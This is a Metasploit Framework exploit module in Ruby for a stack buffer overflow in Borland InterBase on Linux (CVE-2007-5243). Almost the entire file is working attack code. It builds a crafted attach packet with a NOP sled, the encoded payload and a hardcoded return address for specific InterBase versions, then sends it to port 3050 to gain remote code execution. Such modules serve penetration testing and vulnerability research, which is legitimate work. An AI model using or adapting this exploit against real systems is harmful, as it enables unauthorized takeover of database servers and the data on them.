##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Borland InterBase PWD_db_aliased() Buffer Overflow',
      'Description'  => %q{
        This module exploits a stack overflow in Borland InterBase
        by sending a specially crafted attach request.
      },
      'Version'  => '$Revision$',
      'Author'  =>
        [
          'ramon',
          'Adriano Lima <adriano@risesecurity.org>',
        ],
      'Arch'    => ARCH_X86,
      'Platform'  => 'linux',
      'References'  =>
        [
          [ 'CVE', '2007-5243' ],
          [ 'OSVDB', '38607' ],
          [ 'BID', '25917' ],
          [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
        ],
      'Privileged'  => true,
      'License'  => MSF_LICENSE,
      'Payload'  =>
        {
          'Space' => 512,
          'BadChars' => "\x00\x2f\x3a\x40\x5c",
        },
      'Targets'  =>
        [
          # 0x0804cbe4 pop esi; pop ebp; ret
          [
            'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
            { 'Ret' => 0x0804cbe4 }
          ],
        ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(3050)
      ],
      self.class
    )

  end

  def exploit

    connect

    # Attach database
    op_attach = 19

    length = 1152
    remainder = length.remainder(4)
    padding = 0

    if remainder > 0
      padding = (4 - remainder)
    end

    buf = ''

    # Operation/packet type
    buf << [op_attach].pack('N')

    # Id
    buf << [0].pack('N')

    # Length
    buf << [length].pack('N')

    # It will return into this nop block
    buf << make_nops(length - payload.encoded.length - 4)

    # Payload
    buf << payload.encoded

    # Target
    buf << [target.ret].pack('V')

    # Padding
    buf << "\x00" * padding

    # Length
    buf << [1024].pack('N')

    # Random alpha data
    buf << rand_text_alpha(1024)

    sock.put(buf)

    handler

  end

end